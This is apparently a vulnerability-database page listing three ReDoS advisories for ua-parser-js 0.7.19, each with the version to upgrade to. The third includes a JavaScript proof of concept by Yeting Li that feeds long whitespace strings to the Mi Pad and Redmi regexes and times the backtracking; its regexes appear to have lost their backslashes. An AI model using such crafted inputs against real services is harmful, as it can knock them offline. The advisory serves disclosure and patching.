ua-parser-js@0.7.19 vulnerabilities

Detect Browser, Engine, OS, CPU, and Device type/model from User-Agent & Client Hints data. Supports browser & node.js environment

Direct Vulnerabilities

Known vulnerabilities in the ua-parser-js package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

ua-parser-js is a lightweight JavaScript-based user-agent string parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Within src/ua-parser.js, the browser regex is vulnerable to exponential backtracking.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ua-parser-js to version 0.7.24 or higher.

<0.7.24
  • H
Regular Expression Denial of Service (ReDoS)

ua-parser-js is a lightweight JavaScript-based user-agent string parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info).

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ua-parser-js to version 0.7.23 or higher.

<0.7.23
  • H
Regular Expression Denial of Service (ReDoS)

ua-parser-js is a lightweight JavaScript-based user-agent string parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the regex for Redmi Phones and Mi Pad Tablets UA.

POC by Yeting Li

var blank = " ";
for (let i = 1; i < 5000; i++) {
blank = blank + " ";
}

str_mi = "android1mipad" + blank + "!";
str_mi = str_mi + +blank + "!";
mi = /android.+(mi[s-_]*(?:pad)(?:[s_]*[ws]+))s+build/i;

var count_mi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
mi.test(str_mi);
var len = Date.now() - time;
count_mi = count_mi + len;
console.log("mi:" + blank.length + ": " + len)
}
console.log(count_mi / 10);

str_redmi = "android1redminote" + blank + "!";
redmi = /android.+(redmi[s-_]*(?:note)?(?:[s_]*[ws]+))s+build/i;
var count_redmi = 0;
for (let i = 0; i < 10; i++) {
var time = Date.now();
redmi.test(str_redmi);
var len = Date.now() - time;
count_redmi = count_redmi + len;
console.log("redmi:" + blank.length + ": " + len)
}
console.log(count_redmi / 10);

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade ua-parser-js to version 0.7.22 or higher.

<0.7.22